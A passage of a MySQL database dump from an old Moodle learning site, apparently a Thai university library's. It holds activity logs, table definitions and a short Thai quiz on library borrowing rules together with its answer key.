all','index.php?id=3',''),(203,1473146106,4,'172.17.166.156',3,'course',0,'view','view.php?id=3','3'),(204,1473146108,4,'172.17.166.156',3,'course',0,'view','view.php?id=3','3'),(205,1473146110,4,'172.17.166.156',3,'quiz',13,'view','view.php?id=13','1'),(206,1473146113,4,'172.17.166.156',3,'quiz',13,'attempt','review.php?attempt=1','1'),(207,1473146153,4,'172.17.166.156',3,'quiz',13,'close attempt','review.php?attempt=1','1'),(208,1473146154,4,'172.17.166.156',3,'quiz',13,'review','review.php?id=13&attempt=1','1'),(209,1473146169,4,'172.17.166.156',3,'quiz',13,'view','view.php?id=13','1'),(210,1473146177,4,'172.17.166.156',3,'course',0,'view','view.php?id=3','3'),(211,1473146178,4,'172.17.166.156',3,'course',0,'view','view.php?id=3','3'),(212,1473146181,4,'172.17.166.156',3,'quiz',13,'view','view.php?id=13','1'),(213,1473146245,4,'172.17.166.156',3,'course',0,'update mod','../mod/quiz/view.php?id=13','quiz 1'),(214,1473146245,4,'172.17.166.156',3,'quiz',13,'update','view.php?id=13','1'),(215,1473146245,4,'172.17.166.156',3,'quiz',13,'editquestions','view.php?id=13','1'),(216,1473146250,4,'172.17.166.156',3,'quiz',0,'view all','index.php?id=3',''),(217,1473146253,4,'172.17.166.156',3,'course',0,'view','view.php?id=3','3'),(218,1473146254,4,'172.17.166.156',3,'course',0,'view','view.php?id=3','3'),(219,1473146256,4,'172.17.166.156',3,'quiz',13,'view','view.php?id=13','1'),(220,1473146257,4,'172.17.166.156',3,'course',0,'view','view.php?id=3','3'),(221,1473146259,4,'172.17.166.156',3,'quiz',13,'view','view.php?id=13','1'),(222,1473146265,4,'172.17.166.156',3,'course',0,'view','view.php?id=3','3'),(223,1473146271,4,'172.17.166.156',3,'quiz',13,'view','view.php?id=13','1'),(224,1473146275,4,'172.17.166.156',3,'course',0,'view','view.php?id=3','3'),(225,1473146277,4,'172.17.166.156',3,'quiz',13,'view','view.php?id=13','1'),(226,1473146286,4,'172.17.166.156',3,'course',0,'view','view.php?id=3','3'),(227,1473146290,4,'172.17.166.156',3,'course',0,'view','view.php?id=3','3'),(228,1473146293,4,'172.17.166.156',3,'course',13,'delete mod','view.php?id=3','quiz 1'),(229,1473146293,4,'172.17.166.156',3,'course',0,'view','view.php?id=3','3'),(230,1473146345,4,'172.17.166.156',3,'course',0,'update','edit.php?id=3',''),(231,1473146346,4,'172.17.166.156',3,'course',0,'view','view.php?id=3','3'),(232,1473146394,4,'172.17.166.156',3,'course',0,'add mod','../mod/survey/view.php?id=14','survey 6'),(233,1473146394,4,'172.17.166.156',3,'survey',14,'add','view.php?id=14','6'),(234,1473146395,4,'172.17.166.156',3,'survey',14,'view form','view.php?id=14','6'),(235,1473146403,4,'172.17.166.156',3,'course',0,'update mod','../mod/survey/view.php?id=14','survey 6'),(236,1473146403,4,'172.17.166.156',3,'survey',14,'update','view.php?id=14','6'),(237,1473146403,4,'172.17.166.156',3,'survey',14,'view form','view.php?id=14','6'),(238,1473146454,4,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(239,1473146456,4,'172.17.166.156',3,'course',0,'view','view.php?id=3','3'),(240,1473147224,4,'172.17.166.156',3,'survey',14,'view form','view.php?id=14','6'),(241,1473149586,4,'172.17.166.156',3,'course',0,'view','view.php?id=3','3'),(242,1473149611,4,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(243,1473149615,4,'172.17.166.156',1,'user',0,'logout','view.php?id=4&course=1','4'),(244,1473149626,2,'172.17.166.156',1,'user',0,'login','view.php?id=2&course=1','2'),(245,1473149630,2,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(246,1473149705,2,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(247,1473149712,2,'172.17.166.156',1,'user',0,'logout','view.php?id=2&course=1','2'),(248,1473149724,4,'172.17.166.156',1,'user',0,'login','view.php?id=4&course=1','4'),(249,1473149724,4,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(250,1473149733,4,'172.17.166.156',3,'course',0,'view','view.php?id=3','3'),(251,1473149742,4,'172.17.166.156',3,'course',0,'view','view.php?id=3','3'),(252,1473151109,4,'172.17.166.156',1,'course',0,'view','view.php?id=1','1'),(253,1473219939,1,'172.17.166.156',1,'user',0,'login','view.php?id=1&course=1','1'),(254,1473219943,1,'172.17.166.156',3,'course',0,'view','view.php?id=3','3'),(255,1473219986,1,'172.17.166.156',3,'survey',14,'view form','view.php?id=14','6');
/*!40000 ALTER TABLE `mdl_log` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_log_display`
--

DROP TABLE IF EXISTS `mdl_log_display`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_log_display` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `module` varchar(20) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `action` varchar(40) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `mtable` varchar(30) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `field` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  UNIQUE KEY `moduleaction` (`module`,`action`)
) ENGINE=MyISAM AUTO_INCREMENT=110 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='For a particular module/action, specifies a moodle table/fie';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_log_display`
--

LOCK TABLES `mdl_log_display` WRITE;
/*!40000 ALTER TABLE `mdl_log_display` DISABLE KEYS */;
INSERT INTO `mdl_log_display` VALUES (1,'user','view','user','CONCAT(firstname,\" \",lastname)'),(2,'course','user report','user','CONCAT(firstname,\" \",lastname)'),(3,'course','view','course','fullname'),(4,'course','update','course','fullname'),(5,'course','enrol','course','fullname'),(6,'course','report log','course','fullname'),(7,'course','report live','course','fullname'),(8,'course','report outline','course','fullname'),(9,'course','report participation','course','fullname'),(10,'course','report stats','course','fullname'),(11,'message','write','user','CONCAT(firstname,\" \",lastname)'),(12,'message','read','user','CONCAT(firstname,\" \",lastname)'),(13,'message','add contact','user','CONCAT(firstname,\" \",lastname)'),(14,'message','remove contact','user','CONCAT(firstname,\" \",lastname)'),(15,'message','block contact','user','CONCAT(firstname,\" \",lastname)'),(16,'message','unblock contact','user','CONCAT(firstname,\" \",lastname)'),(17,'assignment','view','assignment','name'),(18,'assignment','add','assignment','name'),(19,'assignment','update','assignment','name'),(20,'assignment','view submission','assignment','name'),(21,'assignment','upload','assignment','name'),(22,'chat','view','chat','name'),(23,'chat','add','chat','name'),(24,'chat','update','chat','name'),(25,'chat','report','chat','name'),(26,'chat','talk','chat','name'),(27,'choice','view','choice','name'),(28,'choice','update','choice','name'),(29,'choice','add','choice','name'),(30,'choice','report','choice','name'),(31,'choice','choose','choice','name'),(32,'choice','choose again','choice','name'),(33,'data','view','data','name'),(34,'data','add','data','name'),(35,'data','update','data','name'),(36,'data','record delete','data','name'),(37,'data','fields add','data_fields','name'),(38,'data','fields update','data_fields','name'),(39,'data','templates saved','data','name'),(40,'data','templates def','data','name'),(41,'forum','add','forum','name'),(42,'forum','update','forum','name'),(43,'forum','add discussion','forum_discussions','name'),(44,'forum','add post','forum_posts','subject'),(45,'forum','update post','forum_posts','subject'),(46,'forum','user report','user','CONCAT(firstname,\' \',lastname)'),(47,'forum','move discussion','forum_discussions','name'),(48,'forum','view subscribers','forum','name'),(49,'forum','view discussion','forum_discussions','name'),(50,'forum','view forum','forum','name'),(51,'forum','subscribe','forum','name'),(52,'forum','unsubscribe','forum','name'),(53,'glossary','add','glossary','name'),(54,'glossary','update','glossary','name'),(55,'glossary','view','glossary','name'),(56,'glossary','view all','glossary','name'),(57,'glossary','add entry','glossary','name'),(58,'glossary','update entry','glossary','name'),(59,'glossary','add category','glossary','name'),(60,'glossary','update category','glossary','name'),(61,'glossary','delete category','glossary','name'),(62,'glossary','add comment','glossary','name'),(63,'glossary','update comment','glossary','name'),(64,'glossary','delete comment','glossary','name'),(65,'glossary','approve entry','glossary','name'),(66,'glossary','view entry','glossary_entries','concept'),(67,'journal','view','journal','name'),(68,'journal','add entry','journal','name'),(69,'journal','update entry','journal','name'),(70,'journal','view responses','journal','name'),(71,'label','add','quiz','name'),(72,'label','update','quiz','name'),(73,'lesson','start','lesson','name'),(74,'lesson','end','lesson','name'),(75,'lesson','view','lesson_pages','title'),(76,'quiz','add','quiz','name'),(77,'quiz','update','quiz','name'),(78,'quiz','view','quiz','name'),(79,'quiz','report','quiz','name'),(80,'quiz','attempt','quiz','name'),(81,'quiz','submit','quiz','name'),(82,'quiz','review','quiz','name'),(83,'quiz','editquestions','quiz','name'),(84,'quiz','preview','quiz','name'),(85,'quiz','start attempt','quiz','name'),(86,'quiz','close attempt','quiz','name'),(87,'quiz','continue attempt','quiz','name'),(88,'resource','view','resource','name'),(89,'resource','update','resource','name'),(90,'resource','add','resource','name'),(91,'scorm','view','scorm','name'),(92,'scorm','review','scorm','name'),(93,'scorm','update','scorm','name'),(94,'scorm','add','scorm','name'),(95,'survey','add','survey','name'),(96,'survey','update','survey','name'),(97,'survey','download','survey','name'),(98,'survey','view form','survey','name'),(99,'survey','view graph','survey','name'),(100,'survey','view report','survey','name'),(101,'survey','submit','survey','name'),(102,'workshop','assessments','workshop','name'),(103,'workshop','close','workshop','name'),(104,'workshop','display','workshop','name'),(105,'workshop','resubmit','workshop','name'),(106,'workshop','set up','workshop','name'),(107,'workshop','submissions','workshop','name'),(108,'workshop','view','workshop','name'),(109,'workshop','update','workshop','name');
/*!40000 ALTER TABLE `mdl_log_display` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_message`
--

DROP TABLE IF EXISTS `mdl_message`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_message` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `useridfrom` int(10) NOT NULL DEFAULT '0',
  `useridto` int(10) NOT NULL DEFAULT '0',
  `message` text COLLATE utf8_unicode_ci NOT NULL,
  `format` int(4) unsigned NOT NULL DEFAULT '0',
  `timecreated` int(10) NOT NULL DEFAULT '0',
  `messagetype` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  KEY `useridfrom` (`useridfrom`),
  KEY `useridto` (`useridto`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Stores all unread messages';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_message`
--

LOCK TABLES `mdl_message` WRITE;
/*!40000 ALTER TABLE `mdl_message` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_message` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_message_contacts`
--

DROP TABLE IF EXISTS `mdl_message_contacts`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_message_contacts` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `contactid` int(10) unsigned NOT NULL DEFAULT '0',
  `blocked` tinyint(1) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `usercontact` (`userid`,`contactid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Maintains lists of relationships between users';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_message_contacts`
--

LOCK TABLES `mdl_message_contacts` WRITE;
/*!40000 ALTER TABLE `mdl_message_contacts` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_message_contacts` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_message_read`
--

DROP TABLE IF EXISTS `mdl_message_read`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_message_read` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `useridfrom` int(10) NOT NULL DEFAULT '0',
  `useridto` int(10) NOT NULL DEFAULT '0',
  `message` text COLLATE utf8_unicode_ci NOT NULL,
  `format` int(4) unsigned NOT NULL DEFAULT '0',
  `timecreated` int(10) NOT NULL DEFAULT '0',
  `timeread` int(10) NOT NULL DEFAULT '0',
  `messagetype` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `mailed` tinyint(1) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `useridfrom` (`useridfrom`),
  KEY `useridto` (`useridto`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Stores all messages that have been read';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_message_read`
--

LOCK TABLES `mdl_message_read` WRITE;
/*!40000 ALTER TABLE `mdl_message_read` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_message_read` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_modules`
--

DROP TABLE IF EXISTS `mdl_modules`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_modules` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(20) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `version` int(10) NOT NULL DEFAULT '0',
  `cron` int(10) unsigned NOT NULL DEFAULT '0',
  `lastcron` int(10) unsigned NOT NULL DEFAULT '0',
  `search` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `visible` tinyint(1) NOT NULL DEFAULT '1',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  KEY `name` (`name`)
) ENGINE=MyISAM AUTO_INCREMENT=18 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_modules`
--

LOCK TABLES `mdl_modules` WRITE;
/*!40000 ALTER TABLE `mdl_modules` DISABLE KEYS */;
INSERT INTO `mdl_modules` VALUES (1,'assignment',2006080701,60,0,'',1),(2,'chat',2006080701,300,0,'',1),(3,'choice',2006080701,0,0,'',1),(4,'data',2006080701,60,0,'',1),(5,'forum',2006080701,60,0,'',1),(6,'glossary',2006080701,0,0,'',1),(7,'hotpot',2006082902,0,0,'',0),(8,'journal',2006080701,60,0,'',0),(9,'label',2006080701,0,0,'',1),(10,'lams',2006080701,0,0,'',1),(11,'lesson',2006080701,0,0,'',1),(12,'quiz',2006060700,0,0,'',1),(13,'resource',2006080701,0,0,'',1),(14,'scorm',2006080701,0,0,'',1),(15,'survey',2006080701,0,0,'',1),(16,'wiki',2006080701,0,0,'',1),(17,'workshop',2006080701,60,0,'',1);
/*!40000 ALTER TABLE `mdl_modules` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_post`
--

DROP TABLE IF EXISTS `mdl_post`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_post` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `module` varchar(20) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `userid` int(10) NOT NULL DEFAULT '0',
  `courseid` int(10) NOT NULL DEFAULT '0',
  `groupid` int(10) NOT NULL DEFAULT '0',
  `moduleid` int(10) NOT NULL DEFAULT '0',
  `coursemoduleid` int(10) NOT NULL DEFAULT '0',
  `subject` varchar(128) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `summary` longtext COLLATE utf8_unicode_ci,
  `content` longtext COLLATE utf8_unicode_ci,
  `uniquehash` varchar(128) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `rating` int(10) NOT NULL DEFAULT '0',
  `format` int(10) NOT NULL DEFAULT '0',
  `publishstate` enum('draft','site','public') COLLATE utf8_unicode_ci NOT NULL DEFAULT 'draft',
  `lastmodified` int(10) NOT NULL DEFAULT '0',
  `created` int(10) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id_user_idx` (`id`,`userid`),
  KEY `post_lastmodified_idx` (`lastmodified`),
  KEY `post_module_idx` (`module`),
  KEY `post_subject_idx` (`subject`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Generic post table to hold data blog entries etc in differen';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_post`
--

LOCK TABLES `mdl_post` WRITE;
/*!40000 ALTER TABLE `mdl_post` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_post` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question`
--

DROP TABLE IF EXISTS `mdl_question`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `category` int(10) NOT NULL DEFAULT '0',
  `parent` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `questiontext` text COLLATE utf8_unicode_ci NOT NULL,
  `questiontextformat` tinyint(2) NOT NULL DEFAULT '0',
  `image` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `defaultgrade` int(10) unsigned NOT NULL DEFAULT '1',
  `penalty` float NOT NULL DEFAULT '0.1',
  `qtype` varchar(20) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `length` int(10) unsigned NOT NULL DEFAULT '1',
  `stamp` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `version` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `hidden` int(1) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `category` (`category`)
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='The quiz questions themselves';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question`
--

LOCK TABLES `mdl_question` WRITE;
/*!40000 ALTER TABLE `mdl_question` DISABLE KEYS */;
INSERT INTO `mdl_question` VALUES (1,1,0,'qopac001','เวลาเปิดทำการของสำนักวิทยบริการฯ มหาวิทยาลัยราชภัฏสงขลา ในวันจันทร์ - ศุกร์ คือข้อใด',0,'',1,0,'multichoice',1,'arit.skru.ac.th+160906070409+1NUGMF','arit.skru.ac.th+160906070438+jQWneD',0),(2,1,0,'qopac002','นักศึกษาระดับปริญญาตรีและปริญญาโทสามารถยืมหนังสือได้คนละกี่เล่ม',0,'',1,0,'multichoice',1,'arit.skru.ac.th+160906070755+v28MeK','arit.skru.ac.th+160906070755+gErlSi',0),(3,1,0,'qopac003','นักศึกษาระดับปริญญาตรีและปริญญาโทสามารถยืมหนังสือได้เล่มละกี่วัน',0,'',1,0,'multichoice',1,'arit.skru.ac.th+160906070922+5vDvWp','arit.skru.ac.th+160906070922+Jkhfv5',0),(4,1,0,'qopac004','หากนักศึกษาส่งหนังสือเกินกำหนด 1 วันจะต้องเสียค่าปรับเท่าไหร่',0,'',1,0,'multichoice',1,'arit.skru.ac.th+160906071137+KXwYCY','arit.skru.ac.th+160906071137+r87ZNa',0),(5,1,0,'qopac005','หากหนังสือที่นักศึกษาต้องการมีผู้อื่นยืมไป ควรทำอย่างไร',0,'',1,0,'multichoice',1,'arit.skru.ac.th+160906071259+HoN19A','arit.skru.ac.th+160906071259+6GcErp',0),(6,1,0,'qopac006','ข้อใดเป็นมารยาทและระเบียบในการเข้าใช้สำนักวิทยบริการฯ',0,'',1,0,'multichoice',1,'arit.skru.ac.th+160906071405+cEGsBb','arit.skru.ac.th+160906071405+hHGwxW',0);
/*!40000 ALTER TABLE `mdl_question` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question_answers`
--

DROP TABLE IF EXISTS `mdl_question_answers`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question_answers` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `question` int(10) unsigned NOT NULL DEFAULT '0',
  `answer` text COLLATE utf8_unicode_ci NOT NULL,
  `fraction` float NOT NULL DEFAULT '0',
  `feedback` text COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`),
  KEY `question` (`question`)
) ENGINE=MyISAM AUTO_INCREMENT=25 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Answers, with a fractional grade (0-1) and feedback';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question_answers`
--

LOCK TABLES `mdl_question_answers` WRITE;
/*!40000 ALTER TABLE `mdl_question_answers` DISABLE KEYS */;
INSERT INTO `mdl_question_answers` VALUES (1,1,'เวลา 07.30 - 16.00 น.',0,''),(2,1,'เวลา 07.45 - 16.30 น.',1,''),(3,1,'เวลา 08.00 - 17.00 น.',0,''),(4,1,'เวลา 08.30 - 17.30 น.',0,''),(5,2,'นักศึกษา ป.ตรี ยืมได้ 5 เล่ม/ นักศึกษา ป.โท ยืมได้ 10 เล่ม',0,''),(6,2,'นักศึกษา ป.ตรี ยืมได้ 7 เล่ม/ นักศึกษา ป.โท ยืมได้ 10 เล่ม',1,''),(7,2,'นักศึกษา ป.ตรี ยืมได้ 10 เล่ม/ นักศึกษา ป.โท ยืมได้ 15 เล่ม',0,''),(8,2,'นักศึกษาทั้งป.ตรี และป.โท ยืมได้ 10 เล่ม',0,''),(9,3,'5 วัน',0,''),(10,3,'7 วัน',0,''),(11,3,'10 วัน',0,''),(12,3,'14 วัน',1,''),(13,4,'3 บาท/เล่ม',0,''),(14,4,'5 บาท/เล่ม',1,''),(15,4,'7 บาท/เล่ม',0,''),(16,4,'8 บาท/เล่ม',0,''),(17,5,'ขอชื่อ - สกุลและหมายเลขโทรศัพท์ของผู้ที่ยืมหนังสือไปที่งานบริการยืม - คืน',0,''),(18,5,'ขอชื่อผู้ใช้และรหัสผ่านที่งานบริการยืม - คืนเพื่อจองหนังสือด้วยตนเองผ่านระบบโอแพค',0,''),(19,5,'จดชื่อหนังสือและบาร์โค้ดของหนังสือแล้วติดต่อที่งานบริการยืม - คืนเพื่อขอจองหนังสือเล่มนั้น',0,''),(20,5,'ถูกทั้งข้อ 2 และ 3',1,''),(21,6,'ไม่นำอาหารและเครื่องดื่มเข้ามารับประทาน',0,''),(22,6,'ส่งเสียงดังระหว่างเข้ามาใช้บริการ',0,''),(23,6,'แสดงบัตรประจำตัวนักศึกษาของตนเองในการยืมหนังสือ',0,''),(24,6,'ถูกทั้งข้อ 1 และ 3',1,'');
/*!40000 ALTER TABLE `mdl_question_answers` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question_attempts`
--

DROP TABLE IF EXISTS `mdl_question_attempts`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question_attempts` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `modulename` varchar(20) COLLATE utf8_unicode_ci NOT NULL DEFAULT 'quiz',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Student attempts. This table gets extended by the modules';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question_attempts`
--

LOCK TABLES `mdl_question_attempts` WRITE;
/*!40000 ALTER TABLE `mdl_question_attempts` DISABLE KEYS */;
INSERT INTO `mdl_question_attempts` VALUES (1,'quiz');
/*!40000 ALTER TABLE `mdl_question_attempts` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question_calculated`
--

DROP TABLE IF EXISTS `mdl_question_calculated`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question_calculated` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `question` int(10) unsigned NOT NULL DEFAULT '0',
  `answer` int(10) unsigned NOT NULL DEFAULT '0',
  `tolerance` varchar(20) COLLATE utf8_unicode_ci NOT NULL DEFAULT '0.0',
  `tolerancetype` int(10) NOT NULL DEFAULT '1',
  `correctanswerlength` int(10) NOT NULL DEFAULT '2',
  `correctanswerformat` int(10) NOT NULL DEFAULT '2',
  PRIMARY KEY (`id`),
  KEY `question` (`question`),
  KEY `answer` (`answer`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Options for questions of type calculated';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question_calculated`
--

LOCK TABLES `mdl_question_calculated` WRITE;
/*!40000 ALTER TABLE `mdl_question_calculated` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_question_calculated` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question_categories`
--

DROP TABLE IF EXISTS `mdl_question_categories`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question_categories` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `info` text COLLATE utf8_unicode_ci NOT NULL,
  `publish` tinyint(4) NOT NULL DEFAULT '0',
  `stamp` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `parent` int(10) unsigned NOT NULL DEFAULT '0',
  `sortorder` int(10) unsigned NOT NULL DEFAULT '999',
  PRIMARY KEY (`id`),
  KEY `course` (`course`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Categories are for grouping questions';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question_categories`
--

LOCK TABLES `mdl_question_categories` WRITE;
/*!40000 ALTER TABLE `mdl_question_categories` DISABLE KEYS */;
INSERT INTO `mdl_question_categories` VALUES (1,3,'ค่าที่ตั้งไว้','ตั้งค่าประเภทให้เป็น',0,'arit.skru.ac.th+160906070230+x5nOhH',0,999);
/*!40000 ALTER TABLE `mdl_question_categories` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question_dataset_definitions`
--

DROP TABLE IF EXISTS `mdl_question_dataset_definitions`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question_dataset_definitions` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `category` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `type` int(10) NOT NULL DEFAULT '0',
  `options` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `itemcount` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `category` (`category`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Organises and stores properties for dataset items';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question_dataset_definitions`
--

LOCK TABLES `mdl_question_dataset_definitions` WRITE;
/*!40000 ALTER TABLE `mdl_question_dataset_definitions` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_question_dataset_definitions` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question_dataset_items`
--

DROP TABLE IF EXISTS `mdl_question_dataset_items`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question_dataset_items` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `definition` int(10) unsigned NOT NULL DEFAULT '0',
  `number` int(10) unsigned NOT NULL DEFAULT '0',
  `value` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  KEY `definition` (`definition`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Individual dataset items';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question_dataset_items`
--

LOCK TABLES `mdl_question_dataset_items` WRITE;
/*!40000 ALTER TABLE `mdl_question_dataset_items` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_question_dataset_items` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_question_datasets`
--

DROP TABLE IF EXISTS `mdl_question_datasets`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_question_datasets` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `question` int(10) unsigned NOT NULL DEFAULT '0',
  `datasetdefinition` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `question` (`question`,`datasetdefinition`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Many-many relation between questions and dataset definitions';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_question_datasets`
--

LOCK TABLES `mdl_question_datasets` WRITE;
